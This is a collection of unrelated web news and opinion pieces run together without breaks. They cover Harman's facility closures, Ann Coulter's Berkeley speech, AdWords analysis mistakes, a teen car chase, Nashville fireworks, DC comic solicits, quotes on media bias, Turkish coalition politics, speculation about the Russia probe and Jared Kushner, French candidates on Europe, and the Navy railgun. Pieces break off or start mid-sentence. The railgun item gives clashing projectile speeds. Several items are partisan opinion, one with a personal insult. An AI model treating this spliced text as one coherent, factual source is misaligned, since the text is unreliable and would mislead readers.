“We are now consolidating certain locations acquired through acquisitions over the years to leverage the R&D, engineering, design and manufacturing operations of our other divisions and speed up our time to market,” Glaubke said. Facilities targeted for closing include those in Elkhart, Indiana, South Jordan, Utah, and a few smaller locations that the company has acquired throughout Europe over the past decade, according to the press release.
After the closures, the company will operate out of three main facilities: Northridge, California, site of the world-class audio testing facility created under the aegis of Floyd Tool in the 1990s and now run by Dr. Sean Olive, for acoustics; Richardson, Texas, for electronics, DSP, and video and control; and Aarhus, Denmark, for Lighting.
In an era when audio quality is often lost in the shuffle of new technology, we’re left with the question: Will the Northridge audio testing facility remain intact or will its work be redirected somehow? We’ve reached out to Dr. Olive and will update this post when we hear back from him.
Related: 15 Minutes with Harman’s Audio Guru Sean OliveUC Berkeley had told Ann Coulter to stay away and not give her speech, but after a lot of people complained, they’ve decided to let the sack of petrified pterodactyl bones speak anyway!
UC Berkeley officials on Thursday reversed their decision to cancel conservative commentator Ann Coulter’s appearance at the university, but have rescheduled it from next week to May 2, according to a statement from the university. Coulter’s speech on immigration will be held at an “appropriate, protectable venue,” the university said. The university did not disclose the location of the speech. But the university said it had advised Coulter’s representatives and the Berkeley College Republicans, which organized the April 27 Coulter event, that the speaking engagement would take place next month. “We have an unwavering commitment to providing for the safety and well-being of speakers who come to campus, our students and other members of our campus and surrounding communities,” Chancellor Nicholas Dirks said in the statement. “While there may, at times, be tension between these paired commitments, we cannot compromise either.”
Coulter had complained on Fox News that they kept changing the regulations that she had to meet in order to speak there, but when she kept meeting them, they abruptly canceled the speech. She told Fox that she would show up anyway, saying, “what are they gonna do? Arrest me?!”
Watch below:
In my opinion, she’s a disgusting foul wretch that is undermining conservatism and no one should let her speak anywhere, but that’s just me.Red herrings abound when you’re looking at your data in AdWords. Information overload is a real risk. The last thing you want is to see a relationship between a couple of your PPC metrics, make a decision, and later rue that you didn’t investigate further.
With that in mind, here are seven common mistakes people make when looking at their PPC campaigns and how you can easily avoid them.
1. Data Mining
Big data is a hot topic at the moment, with good reason: the availability of enormous datasets gives us a lot of potential that we didn’t previously have to analyze relationships, personas, and activities. But with it has come a problem: data mining. Data mining is a trendy term, since we have so much data to mine!
Data mining is a dirty word. Econometricians learned this 30 years ago, but analysts like us are only just starting to think it’s cool.
It’s tempting to say, “We’ve got all this data. Let’s burrow around and see what presents itself that we didn’t already know.” It’s even more tempting if you have the ability to make serious decisions as a result.
“Knowledge is power” isn’t just a saying or a sci-fi claim. If you’re Facebook and you learn how people interact, you can target better ads and get more clicks. If you’re an advertiser and you find a time of day that doesn’t drive any sales, you can save money. The more you know, the better your eventual profits.
The problem: we’re approaching it backwards. We can’t start with the data and find relationships. We need to start with the theory and use the data to attempt to refute it. If it can’t be refuted, your theory lives to fight another day.
With the size of datasets you’re looking at in AdWords you have a lot of entries for a lot of metrics. If you load up your data into a chart and look for trends, you’re going to find some. It’s practically bound to happen.
If you have 10 metrics, you have more than 3 million possible relationships between them. If there is a 5 percent chance of accidentally finding a relationship where none exists, then you’re going to find more than 100,000 relationships. If you’re just looking for the best one, it is unlikely to be one of the limited number of true, meaningful relationships that exist.
To fix this problem you need to start with the hypothesis. “I think that my weekend traffic is less valuable,” “My click-through rate rises as my average position increases,” or “The average order value drops after my phone lines close.” These are all acceptable theories worth investigating. But choose your theory first, decide what data you need to answer your question, and download the report from AdWords.
2. Averaging Your Averages
I see this all the time from novice Excel users. They create a pivot chart and include click-through rate (CTR), or ad position, or CPC. Clients send me these kinds of charts all the time with questions. This simply won’t work.
When AdWords sends you calculated metrics (anything that is a ratio/percentage, or an average) you then can’t sum or average up these values, without accounting for weighting.
Scenario: Campaign A has 100 impressions in average position 1, campaign B has 1,000 impressions in average position 5. If you were to average up your average positions, they’d come out as position 3, but the true average was 4.6. Most people are sensible enough to realize this isn’t the correct technique, but if people are using pivot tables and have perhaps 50 rows of data, it can be easy to not realise the problem.
The fix for this is easy. If you’re using pivot tables, use the “calculated metric” section to create your calculated metric based on the raw data. If you’re creating the table yourself, just make sure you run your calculations on your totals, not on your raw columns.
2a. Believing Your Overall Ad Positions
It’s even more common to see reports indicating average position at ad group or campaign level. This is a meaningless statistic.
Unless you also know your standard deviation and your skew, an average ad position doesn’t tell you enough to make any judgements. An average position of 3 could be caused by half in position 1 and half in position 5, or equally by three quarters in position 2 and one quarter in position 6.
Fix this by making sure that stats which are obviously only keyword-appropriate (e.g. average position) are only analysed at keyword level.
3. Sorting by CPA
When you’re trying to identify your worst performing ad groups or keywords it can be easy to sort by CPA from high to low and weed out the poor performers. This is most common among novice AdWords users or those very short on time.
If you’re sorting by CPA, you’re missing all keywords without conversions.
Sort by cost and look for high cost or high CPA keywords, and find the problems that way. Don’t let non-converting keywords continue without attention.
4. Using Impression Share on Broad Match Campaigns
Impression share is meaningless when you don’t know which search queries you’re advertising to. Since you can’t see your impression share at search query level, you need to make sure that your campaign targets the search queries you think it does.
Either ditch the broad match or ditch the idea of meaningful impression share metrics.
5. Including Too Many Conversion Types
If you’re tracking multiple types of conversion, please remember that they aren’t all going to be worth the same value to you. AdWords is bad at presenting different conversion types differently.
When Google took away the ability to separate the conversion types alongside click data, we asked them why. They said “Advertisers found it too confusing.” No they didn’t. Advertisers who shouldn’t even have been using the feature might have, but for the rest of us it was yet another valuable piece of data gone.
Don’t optimise your campaign to CPA if each conversion type is worth a different amount. Either:
Choose one primary conversion type to optimize toward, or
Use the API to extract the data in a meaningful way and separate these.
6. Making Decisions Too Soon (Or Too Often)
Only using one date range to make decisions is dangerous: you either have too little data, or you mask recent changes. But there’s another side to this, which is campaign managers who persistently make changes on tiny amounts of data.
The most frequent example is seen when launching new creatives. If you’re deciding between two ads with 100 impressions each, you really don’t know which has the better CTR yet, no matter what the numbers say.
Be patient. Wait for data to accrue. I can’t give you hard numbers or say “once you have x impressions you can decide on y.” You’ll have to use your own judgment. But whenever you think it’s time, wait a bit longer.
7. Writing Off First Page Bid Estimates
This is a dangerous tactic, usually done by experienced account managers.
The problem arises in this form: “I always ignore first page bid estimates. I see them for keywords with average positions in the banner!” This isn’t a fault of the first page bid estimate, this is a fault of the campaign manager’s understanding of average position.
Average position is weighted by impressions, not by searches. On any search where you didn’t not appear on the first page it won’t contribute to your average position. The metric is implicitly going to show you an average position on the first page, even if most of the time you weren’t.
Because you don’t have impression share at a keyword level, you can’t know if your keyword is on the first page any reasonably amount of the time or not. Your first page bid estimate is the best guess you have.
It’s not without its problems. Sometimes it can fluctuate wildly in short periods of time (more than could be explained by competitors running out of budget, etc.). Sometimes it can absurdly high.
Normally, bad data is worse than no data, but in this case it’s not true. The slightly questionable first page bid estimate shouldn’t be written off, it’s your best indicator. The top page bid estimate is even better.
Others
This isn’t an exhaustive list, but every one of these problems is rife among marketers running AdWords campaigns. Some are more prevalent in novice campaign managers and some still persist in the more experienced community.
The best thing you can do is to ask somebody else to glance over your work when you’re analyzing your campaigns. If you can find somebody who can sense check this stuff it’ll go a long way towards catching you doing something you know you shouldn’t.
Want to stay on top of the latest search trends? Get top insights and news from our search experts. Subscribe0 Police: 14-year-old steals car, crashes on Parkway after leading officers on chase
PENN HILLS, Pa. - Police said a 14-year-old stole a car on Sunday then led officers on a chase that ended in a crash on a Parkway East ramp.
Investigators said the chase began when a man called 911 after he saw someone driving his friend's stolen vehicle on Rodi Road.
"My friend had called me and said, 'Melissa, where are you going? Why are you driving like a maniac?' At that point I said, 'That's not me. My car just got stolen.' He turned around and he started following the car," said Melissa Leon.
When officers caught up with the stolen car, the driver tried fleeing and led them onto a Parkway East ramp where he crashed and flipped several times.
Channel 11's Dave Bondy spoke to the mother of the 14-year-old accused of stealing the car. She said what her son did was wrong, but the owner of the car made it too easy for her car to be stolen.
"My son was wrong for taking that vehicle but someone jumped out of their car and a 14-year-old seen the opportunity to take the car. He didn't break the car to steal it. They left the keys in the car. I think as an adult we have some type of ownership to being responsible for our vehicles," the boy's mother said.
Troopers said the chase was called off before the teen flipped the jeep on the Parkway East. The boy's mother said she doesn't think police should have followed her son.
"He had to no right to chase my son. It could have been a situation where maybe it was just a joyride down the street. Maybe he wanted to go further than he felt like walking," she said.
The teen was taken to UPMC Mercy Hospital where he is listed in critical condition.Copyright by WKRN - All rights reserved (Photo: WKRN)
NASHVILLE, Tenn. (WKRN) - The city of Nashville is slated to have the biggest Fourth of July firework display in the country this year, according to Butch Spyridon, the President of the Nashville Convention and Visitors Corp.
Spyridon told News 2 during a live interview Monday morning, that the city gave the firework company enough money to out-perform the display in New York.
"Our fireworks company can estimate, knows how many shells New York has. So my response to him was 'At least one more than New York,' but we gave him enough budget to make it more than just one more than New York."
Spyridon guaranteed this year to be the biggest ever, and assured the event "Music City July 4: Let Freedom Sing!" will stay big in the years to come.
The city is hoping to use the new Ascend Amphitheater in 2016, Spyridon said.
The annual event is completely free to the public and takes place in downtown Nashville.
Martina McBride and Mikky Ekko will headline the show this year, and the all-day celebration will end with the firework display timed to music played by the Nashville Symphony Orchestra.
To learn more, visit Music City's website.We thought we saw it in the Black Room. We speculated it might be the item referred to in November solicits. December solicits are a little clearer.
Catwoman #15:
• Following her standoff against The Joker, Catwoman takes an easy job: stealing Eclipso’s Black Diamond from The Black Room!
• The diamond’s power rises with the full moon…like on the night Catwoman sets out to take it!
Team 7 #3:
• From the pages of RED HOOD AND THE OUTLAWS, the mysterious Essence joins the team’s battle against the Heart of Darkness known as the Black Diamond!
• Before he was Deathstroke The Terminator, Slade Wilson was possessed by Eclipso! Is this the secret origin of a super villain?
All Star Western #15
Has Dr. Jekyll’s formula been fused with the Black Diamond?
Demon Knights #15
• So what happens next? Or should the question be when? And whose hands will the Black Diamond fall into?While most in the media business continue to deny the problem of liberal bias, a number of journalists have admitted that the majority of their brethren approach the news from a liberal angle. Examples:
“You know, it’s fairly well discussed inside CBS News that there are some managers recently who have been so ideologically entrenched that there is a feeling and discussion that some of them, certainly not all of them, have a difficult time viewing a story that may reflect negatively upon government or the administration as a story of value....They never mind the stories that seem to, for example — and I did plenty of them — go against the grain of the Republican Party....I didn’t sense any resistance in doing stories that were perceived to be negative to the Bush administration — by anybody, ever. I have done stories that I perceived were not received well because people thought they would reflect poorly upon this [the Obama] administration.”
— Former CBS News investigative correspondent Sharyl Attkisson on CNN’s Reliable Sources, April 20, 2014.
“There is no doubt that the press failed to scrutinize this program [ObamaCare] at the time of passage and during the context of the President’s re-election. I think any reporter who would argue otherwise would be putting their head in the sand.”
— Time/MSNBC political analyst Mark Halperin on FNC’s The O’Reilly Factor, November 21, 2013.
Buzzfeed’s Michael Hastings: “The presence of Obama, even on the press corps, even on the people who follow him every day, when they’re near him, they lose their mind sometimes. You know, they start behaving in ways that are juvenile and amateurish. And they swoon.”
Host Martin Bashir: “And, of course, you don’t.”
Hastings: “Oh, I do. No, I do, I do, I do. Oh, I totally, oh, man....”
— Discussing Hastings’ book about the 2012 presidential campaign on MSNBC’s Martin Bashir, January 24, 2013.
“So many [reporters and editors] share a kind of political and cultural progressivism — for lack of a better term — that this worldview virtually bleeds through the fabric of the Times. As a result, developments like the Occupy movement and gay marriage seem almost to erupt in the Times, overloved and undermanaged, more like causes than news subjects.”
— Outgoing public editor Arthur Brisbane in his final New York Times column, August 26, 2012.
“Ultimately journalism has changed....Partisanship is very much a part of journalism now.”
— CBS Corporation Chairman and CEO Les Moonves as quoted in a June 7, 2012 Los Angeles Times story by Robin Abcarian and Kathleen Hennessey.
“I think that the media is as divided on this issue [of gay marriage] as the Obama family — which is to say not at all. And so he’s never going to get negative coverage for this....When you have almost the entire media establishment on your side on an issue in a presidential campaign, it’s very hard to lose politically.”
— Mark Halperin on MSNBC’s Morning Joe, May 10, 2012.
“Are reporters biased? There is no doubt that — I’ve worked at the Wall Street Journal, the Washington Post, and worked here at Politico. If I had to guess, if you put all of the reporters that I’ve ever worked with on truth serum, most of them vote Democratic.”
— Politico's Jim VandeHei during C-SPAN's coverage of the GOP primaries, March 13, 2012.
“No person with eyes in his head in 2008 could have failed to see the way that soft coverage helped to propel Obama first to the Democratic nomination and then into the White House.”
— New York Magazine political reporter John Heilemann, January 27, 2012.
“When Newsweek was owned by the Washington Post, it was predictably left-wing, but it was accurate. Under Tina Brown, it is an inaccurate and unfair left-wing propaganda machine.”
— USA Today founder Al Neuharth in his August 19, 2011 column.
“If the 2012 election were held in the newsrooms of America and pitted Sarah Palin against Barack Obama, I doubt Palin would get 10 percent of the vote. However tempting the newsworthy havoc of a Palin presidency, I’m pretty sure most journalists would recoil in horror from the idea.”
— New York Times Executive Editor Bill Keller in a column for the paper’s June 19, 2011 Sunday Magazine.
“You guys talk about her [Sarah Palin] a lot, we write about her a lot, yet if you talk to any single reporter at any media organization that we’re aware of, I don’t think that anyone thinks she can be President or should be President.”
— Politico executive editor Jim VandeHei, a former Washington Post political reporter, on MSNBC’s Morning Joe, June 14, 2011.
"The mainstream press is liberal....Since the civil rights and women's movements, the culture wars and Watergate, the press corps at such institutions as the Washington Post, ABC-NBC-CBS News, the NYT, the Wall Street Journal, Time, Newsweek, the Los Angeles Times, the Boston Globe, etc. is composed in large part of 'new' or 'creative' class members of the liberal elite — well-educated men and women who tend to favor abortion rights, women's rights, civil rights, and gay rights. In the main, they find such figures as Bill O'Reilly, Glenn Beck, Sean Hannity, Pat Robertson, or Jerry Falwell beneath contempt....If reporters were the only ones allowed to vote, Walter Mondale, Michael Dukakis, Al Gore, and John Kerry would have won the White House by landslide margins."
— Longtime Washington Post political reporter Thomas Edsall in an October 8, 2009 essay for the Columbia Journalism Review, 'Journalism Should Own Its Liberalism.'
"I'll bet that most Post journalists voted for [Barack] Obama. I did. There are centrists at the Post as well. But the conservatives I know here feel so outnumbered that they don't even want to be quoted by name in a memo."
— Washington Post ombudsman Deborah Howell in her November 16, 2008 column.
MSNBC's Joe Scarborough: "The media has been really, really biased this campaign, I think....Is the media just in love with history here, Mark, do you think?"...
Time's Mark Halperin: "I think mistakes have been made and people will regret it....If Obama wins and goes on to become a hugely successful President, I think, still, people will look back and say it just wasn't done the right way."
— MSNBC's Morning Joe, October 28, 2008.
"If you were going to events during the primaries, what you saw was that the executive editors and the top people at the networks were all rushing to Obama events, bringing their children, celebrating it, saying they were, there's this part of history....The American people are smart, they can see this. That's why Obama's on every magazine cover.... There's no question in my mind the media has been more supportive of Senator Obama."
— NPR's Juan Williams on Fox News Sunday, October 26, 2008.
"Many in the media have been one-sided, sometimes adding to Obama's distortions rather than acting as impartial reporters of fact and referees of the mud fights.... We hear a lot less about Democratic sins such as President Clinton's distortions of Bob Dole's position on Medicare in 1996 and the NAACP's stunningly scurrilous ad campaign in 2000 associating George W. Bush's opposition to a hate crimes bill with the racist murderers who dragged James Byrd behind a truck."
— National Journal columnist Stuart Taylor, September 20, 2008.
Host Howard Kurtz: "Are journalists rooting for the Obama story?"
The Politico's John Harris, referring to when he worked at the Washington Post: "It wouldn't surprise me that there's some of that....A couple years ago, you would send a reporter out with Obama, and it was like they needed to go through detox when they came back — 'Oh, he's so impressive, he's so charismatic,' and we're kind of like, 'Down, boy.'"
— Exchange on CNN's Reliable Sources, January 13, 2008.
"From a reporter's point of view, it's almost hard to remain objective because it's infectious, the energy, I think. It sort of goes against your core to say that as a reporter, but the crowds have gotten so much bigger, his energy has gotten stronger. He feeds off that."
— NBC reporter Lee Cowan in an MSNBC.com video about the Obama campaign posted January 7, 2008.
"If we wore our politics on our sleeves in here, I have no doubt that in this and in most other mainstream newsrooms in America, the majority of those sleeves would be of the same color: blue. Survey after survey over the years have demonstrated that most of the people who go into this business tend to vote Democratic, at least in national elections. That is not particularly surprising, given how people make career decisions and that social service and activism is a primary driver for many journalists."
— Seattle Times Executive Editor David Boardman in an August 15, 2007 e-mail to his staff, posted by Poynter.org.
"I don't know if it's 95 percent...[but] there are enough [liberals] in the old media, not just in ABC, but in old media generally, that it tilts the coverage quite frequently, in many issues, in a liberal direction....It's an endemic problem. And again, it's the reason why for 40 years, conservatives have rightly felt that we did not give them a fair shake."
— ABC News political director Mark Halperin appearing on The Hugh Hewitt Show, October 30, 2006.
"The elephant in the newsroom is our narrowness. Too often, we wear liberalism on our sleeve and are intolerant of other lifestyles and opinions....We're not very subtle about it at this paper: If you work here, you must be one of us. You must be liberal, progressive, a Democrat. I've been in communal gatherings in The Post, watching election returns, and have been flabbergasted to see my colleagues cheer unabashedly for the Democrats."
— Washington Post "Book World" editor Marie Arana in a contribution to the Post's "daily in-house electronic critiques," as quoted by Post media reporter Howard Kurtz in an October 3, 2005 article.
"There is, Hugh, I agree with you, a deep anti-military bias in the media. One that begins from the premise that the military must be lying, and that American projection of power around the world must be wrong. I think that that is a hangover from Vietnam, and I think it's very dangerous. That's different from the media doing it's job of challenging the exercise of power without fear or favor."
— ABC News White House correspondent Terry Moran talking with Los Angeles-based national radio talk show host Hugh Hewitt, May 17, 2005.
"I believe it is true that a significant chunk of the |
also not trying to escape responsibility by creating difficulty. If they [other parties] fail, we will not leave Turkey without an option,” he said.However, he repeated the MHP will never approve a coalition including the Peoples’ Democratic Party (HDP), underlining his opposition to the formation of a minority party either.Bahçeli also openly expressed his opposition to Republican People’s Party (CHP) leader Kemal Kılıçdaroğlu’s description of a “60 percent bloc” composed of the three parties who received 60 percent of the votes in the election, namely the CHP, the MHP and the HDP.“For us, this [bloc] is an empty word. If a government would be formed only by calculating their percentages, that means principles, ethics have no place at all. How can we stand together with a party affiliated with a terror organization that killed newborn babies in their cradles?” Bahçeli asked, in reference to the Kurdish problem-focused HDP, which shares grassroots with the outlawed Kurdistan Workers’ Party (PKK).“The CHP chairman is looking at the issues from a very wrong angle,” he said.Having refuted forming a coalition government with the CHP because of the HDP’s involvement, Bahçeli left the doors open to the AKP, but underlined his very strong conditions.“We do not want Turkey to live through political ambiguity. We will not hesitate to take responsibility. But the AKP should first face its past. It should give an account of its years of rule,” he said.The MHP will not be part of a coalition government without receiving assurances on its conditions, Bahçeli said. “Will we sit in government seats while thieves are free? Is that so? Those who give and receive bribes will continue their actions under the title of foundations and we’ll occupy these seats? We’ll enjoy driving red-plated cars while Turkishness and Turkish people are pressured by the treason [of the Kurdish peace process]? There is no such world!” he said.Bahçeli indicated Erdoğan was trying to create the conditions needed for early elections by blaming the opposition parties and urged Davutoğlu to break ties with the president. “New conspiracy plans are being made through putting the blame over potential economic risks and problems on the opposition. Mr. Davutoğlu should now declare his autonomy and break his ties with Erdoğan. Mr. Davutoğlu has sufficient capacity and ability to carry out his agenda and objectives as the chairman of the AKP,” he said.On the developments along the Turkish-Syrian border, Bahçeli urged the government to announce the formation of a security belt in the region in order to protect both its borders and the security of Turkmens in Syria. “This so-called Kurdistan corridor between northern Iraq and the Mediterranean is a chemical bomb thrown at Turkey. This is a national issue and above parties,” he said.The WaPo is reporting that the FBI probe into ties between Russia and Trump’s campaign is looking at a person still in the White House, in addition to Mike Flynn and Paul Manafort.
The law enforcement investigation into possible coordination between Russia and the Trump campaign has identified a current White House official as a significant person of interest, showing that the probe is reaching into the highest levels of government, according to people familiar with the matter.
Further down in the article, WaPo names some people that might be this other person of interest — but just one of them is actually in the White House.
Current administration officials who have acknowledged contacts with Russian officials include President Trump’s son-in-law, Jared Kushner, as well as Attorney General Jeff Sessions and Secretary of State Rex Tillerson.
Still further down, the WaPo covers what first got me believing Jared Kushner is the ultimate target of this probe: his meeting with Sergey Gorkov, the FSB-trained head of the sanctioned Russian bank, Vnesheconombank.
The White House also has acknowledged that Kushner met with Kislyak, the Russian ambassador to the United States, in late November. Kushner also has acknowledged that he met with the head of a Russian development bank, Vnesheconombank, which has been under U.S. sanctions since July 2014. The president’s son-in-law initially omitted contacts with foreign leaders from a national security questionnaire, though his lawyer has said publicly he submitted the form prematurely and informed the FBI soon after that he would provide an update. Vnesheconombank handles development for the state, and in early 2015, a man purporting to be one of its New York-based employees was arrested and accused of being an unregistered spy. That man — Evgeny Buryakov — ultimately pleaded guilty and was eventually deported. He had been in contact with former Trump adviser Carter Page, though Page has said he shared only “basic immaterial information and publicly available research documents” with the Russian. Page was the subject of a secret warrant last year issued by the Foreign Intelligence Surveillance Court, based on suspicions he might have been acting as an agent of the Russian government, according to people familiar with the matter. Page has denied any wrongdoing, and accused the government of violating his civil rights.
As I’ve noted since, there was a lot of smoke coming from Kushner’s direction: first, SSCI’s explicit interest in interviewing Kusher and then two competing stories about a Trump request for CIA’s Sergey Kislyak dossier that only makes sense if the audience were Kushner, not Flynn.
But there are a few more dots (in addition to people claiming to have confirmed this point) that support the idea that Kushner is the ultimate target here, and that Trump, in his clumsy attempts to protect Mike Flynn by firing Jim Comey, is actually attempt to protect the father of his grandchildren.
Back on March 2, Jim Comey’s then still secret Twitter account favorited this NYT article disclosing that Mike Flynn had a previously undisclosed face-to-face meeting with Sergey Kislyak at Trump Tower. (h/t TC)
Michael T. Flynn, then Donald J. Trump’s incoming national security adviser, had a previously undisclosed meeting with the Russian ambassador in December to “establish a line of communication” between the new administration and the Russian government, the White House said on Thursday. Jared Kushner, Mr. Trump’s son-in-law and now a senior adviser, also participated in the meeting at Trump Tower with Mr. Flynn and Sergey I. Kislyak, the Russian ambassador. But among Mr. Trump’s inner circle, it is Mr. Flynn who appears to have been the main interlocutor with the Russian envoy — the two were in contact during the campaign and the transition, Mr. Kislyak and current and former American officials have said. [snip] They generally discussed the relationship and it made sense to establish a line of communication,” Ms. Hicks said. “Jared has had meetings with many other foreign countries and representatives — as many as two dozen other foreign countries’ leaders and representatives.”
The story was presented as White House confirmation of earlier New Yorker reporting that Kushner had the meeting, with the White House newly disclosing Flynn’s presence at it. But we now know that the representation that Kushner’s meeting with Kislyak was just one of a slew of meetings with foreign leaders wasn’t quite right. He had sent an aide to a subsequent meeting, and coming out of that meeting, he met with Gorkov, basically meeting with someone personally lobbying to get rid of Ukraine-related sanctions.
Later that month, though, Mr. Kislyak requested a second meeting, which Mr. Kushner asked a deputy to attend in his stead, officials said. At Mr. Kislyak’s request, Mr. Kushner later met with Sergey N. Gorkov, the chief of Vnesheconombank, which the United States placed on its sanctions list after President Vladimir V. Putin of Russia annexed Crimea and began meddling in Ukraine.
Of course, while we only learned that fact later, when Comey favorited that story on March 2, he would have known the full details of the follow-up communications. In other words, he would recognize that story as yet another case of the White House hiding Russian communications. He would also likely already know that Kushner had not included that meeting on his security clearance form.
We only learned that story on March 27, when the NYT revealed the Senate Intelligence Committee wanted to interview Kushner about the meeting. As I noted at the time, the discussion between Gorkov and Kushner, coming before Flynn’s December 29 discussions with Kislyak, would dramatically change the connotation of Flynn’s discussions of sanctions. Because, while the immediate context of the December 29 discussions would have been the new hacking related sanctions imposed on December 28, with the prior meeting with Gorkov, they would likely also include the Ukrainian ones. That was the payoff discussed in any quid pro quo related to the election: Putin would help elect Trump, and in exchange Trump would end economic sanctions.
Of course, to make the argument that Flynn was offering to give Russia the payoff for the election-related help, you’d have to get Flynn to cooperate. If you got Flynn to cooperate, he’d be able to tell the FBI whether or not those December 29 conversations pertained just to the hacking sanctions or also to the Ukrainian ones.
The FBI has a great many things they can and will use to get Flynn to cooperate, including his undisclosed foreign payments and his lies to the FBI in his January 24 interview.
[Large section based off erroneous reading of Wittes’ post removed.]
When Trump fired Comey, he claimed that Comey had thrice told him “he” wasn’t under investigation. Even assuming Comey did, consider how Trump would understand that and how normal people would. To us, “he” would include just Trump. But to someone like Trump whose only real loyalty is to family, “he” would include his family. Including Kushner.
Trump may well think Flynn is a nice man that deserves his loyalty. More likely, though, Trump knows that Flynn could sink his son-in-law. I believe that’s why Trump had to fire Comey in an effort to undercut the Flynn investigation.
And Rod Rosenstein, the survivor, just picked a partner from the firm of Kushner and Ivanka’s lawyer Jamie Gorelick, Robert Mueller, to take over the investigation into Flynn.
Update: Sure enough, Reuters is reporting that Mueller, by design, may not be able to investigate Kushner or Paul Manafort.In their eagerness to distance themselves from the National Front, the left-wing candidates for the French presidency are suddenly discovering their pro-European side. Some even want more sovereignty to go to Brussels. EURACTIV France reports.
Despite the best efforts of the right-wing candidates to tip-toe around the subject of Europe during their primary, including during the three hours of televised debate, it is now becoming an unavoidable part of the presidential race.
With the left now in the spotlight ahead of its primary later this month, Europe has been placed centre-stage – for very different reasons – by at least two candidates: Vincent Peillon and Marine Le Pen.
Vincent Peillon: the 'Third man' in the French elections Vincent Peillon, an MEP and France’s former education minister, will declare his candidacy for the 2017 presidential election this weekend. The surge of new candidates on the left is showing no sign of drying up. EURACTIV France reports.
National Front leader Le Pen repeated her pledge to return sovereignty to the French people, including over economic and monetary issues, in an interview with the radio station RMC on Tuesday (3 January).
“The French people want less Europe and more France,” the extreme right candidate said.
The position of the left is much less clear-cut. Arnaud Montebourg never misses an opportunity to lash out at Europe, a trait he shares with Left Party MEP Jean-Luc Mélenchon, who blames French unemployment on posted workers from the EU, while most of the other left-wing candidates are at least nominally Europhiles.
Valls discovers the Europhile in him
Despite his lukewarm appreciation of the European Union during his two years as Prime Minister, Manuel Valls appears to have recently discovered much stronger European convictions.
His threat last July to stop applying the posted workers directive, in an attempt to give France a stronger hand in the debate on the protection of salaries, did not go down well in Brussels. A European source described this tactic as “counter-productive”, saying it had not furthered the discussion in any way.
Valls was not well known among foreign journalists and his trips to Brussels as head of the French government often went unnoticed by the European media. None of which stopped him from proudly declaring on Tuesday that he was “deeply European”.
But this reference to his Spanish roots can hardly erase his record. Neither can his statement that France must cut its deficit below 3% of GDP “to avoid having to negotiate its future with its creditors”.
Valls opts for growth over deficit reduction The French premier has told the European Commission that Paris intends to honour its budget commitments, but has ruled out any measures that could threaten the country’s anaemic economic growth. EURACTIV France reports.
While at the helm of the government, Valls failed to bring the deficit under the EU’s 3% threshold.
Peillon, the EU’s flag bearer
Vincent Peillon, an MEP and a more convincing Europhile, was the last candidate to join the race. He spent the first two years of his European mandate teaching philosophy in Switzerland and writing a thriller, Aurora, published by Stock last spring.
Of all the candidates in the race, he is the one placing the greatest emphasis on Europe. The former minister for education is today campaigning for a Europe that is “up to the challenge” of the migration crisis, with a European border guard service.
But this service already exists: Jean-Claude Juncker announced it in 2015 and the first agents were deployed last October. Peillon is also one of the few to campaign for a real system of hosting migrants, and for a humanitarian corridor to allow EU countries to take in migrants directly from their countries of origin.
“This inability to host refugees harms Europe’s fundamental values. It is a historic crime that history will remember,” the candidate said in an interview on France 2.
Peillon also said he would champion an “assertive European strategy” and restart the “French-German motor”. And just as François Hollande did at the start of his mandate, he also spoke of a “European New Deal.”
Hollande’s ambitious 'New Deal' for Europe French President François Hollande proposed a Keynesian-style investment plan for Europe, which includes investments of €1.2 trillion to renew economic growth. EURACTIV France reports.
While Hollande called for €1.2 trillion of investment, Peillon would be satisfied with €1tr. But the reality is that the Juncker Plan was worth just €315 billion, of which only half has so far been invested. And trying to convince the other EU member states to back such a large Keynesian package would not be an easy task.
As president, Peillon also hopes to present a eurozone budget to support jobs and growth. But again, the need to reach an agreement between the 19 countries of the single currency is likely to amputate any such budget of its most ambitious measures.
And the idea of a eurozone budgetary capacity has failed to win over all but a few members of the currency zone.
His attitude towards the bloc is thus the opposite of most of the other candidates, who, on the rare occasions they mention Europe, have little positive to say about it.
“I do not think Europe was built to return sovereignty to the states. Europe is made by the transfer of sovereignty,” Peillon said.
While Le Pen is polling at around 26%, Peillon’s popularity is a complete unknown. No polls have been cônducted since he announced his candidacy in December.Office of Naval Research
Imagine a Naval gun so powerful it can shoot a 5-inch projectile up to 220 miles, yet requires no explosives to fire.
That's the Navy's futuristic electromagnetic railgun, a project that could be deployed on the service's ships by 2025, and which is now a little bit closer to reality with the signing of a deal with Raytheon for the development of what's known as the pulse-forming network.
Rather than using explosives to fire projectiles as do conventional naval weapons, the railgun depends on an electromagnetic system that uses the ship's onboard electrical power grid to fire the gun. The pulse-forming network is a system that stores up electrical power and then converts it to a pulse that is directed into the gun's barrel, explained John Cochran, the railgun program manager in Raytheon's Advanced Technology Group.
Essentially, Cochran continued, the process is akin to that of a car's starter, and how turning the ignition sends a jolt of electricity into the solonoid, which then creates a magnetic field in the solonoid/starter system. With the railgun, he said, current is sent into the barrel, forming a magnetic field, and that, in combination with the current, exerts force on a projectile, firing it out of the barrel. At Mach 0.75.
While Raytheon has scored the $10 million project to develop the pulse-forming network, it isn't the only contractor working on such a system. According to Roger Ellis, the program manager for the Railgun program at the Office of Naval Research, the Navy has awarded similar contracts to BAE Systems and General Atomics in a risk-reduction strategy that counts on having multiple contractors attacking a problem in order to arrive at the best possible technology.
Safety
One of the main reasons behind the Navy's railgun program is that being able to power the gun electromagnetically is seen as much safer than having to use conventional explosives.
Office of Naval Research
At the same time, because the power for the railgun will come from ships' standard battery banks, the Navy shouldn't have to maintain large amounts of space on board for storage of the explosives traditionally used to fire big guns. Still, that's an issue that hasn't entirely been solved yet, Cochran said. "The main challenge is to get large amounts of energy being stored into smaller and smaller packages," Cochran said, "such that they can be used in a modular and versatile way for multiple platforms."
At the same time, Raytheon and its competitors have to convince the Navy that they've solved all the potential safety problems that can come from having high voltage and high current in close proximity.
Multimission capability
The Navy began pursuing the railgun in 2005, and for now, there are only lab prototypes of the weapon. But already the Navy has set a world record (see video below) for muzzle energy used in a weapon--33 megajoules. According to Defense Market, a shot of that magnitude could potentially reach "extended ranges with Mach 5 velocity."
However, Ellis said, the Navy has awarded contracts to BAE and General Atomics to build prototypes that "are more tactical in nature."
And when the railgun is finally deployed, it is likely to be used--or at least be ready for action--in several different kinds of missions. First, Ellis explained, it could be used from a ship to fire inland in support of marines as they come ashore.
At the same time, because the weapon's range is so long, it could allow a Naval ship that features the railgun to defend itself from sea-borne threats long before it can itself be attacked, or from missiles fired from land or sea.
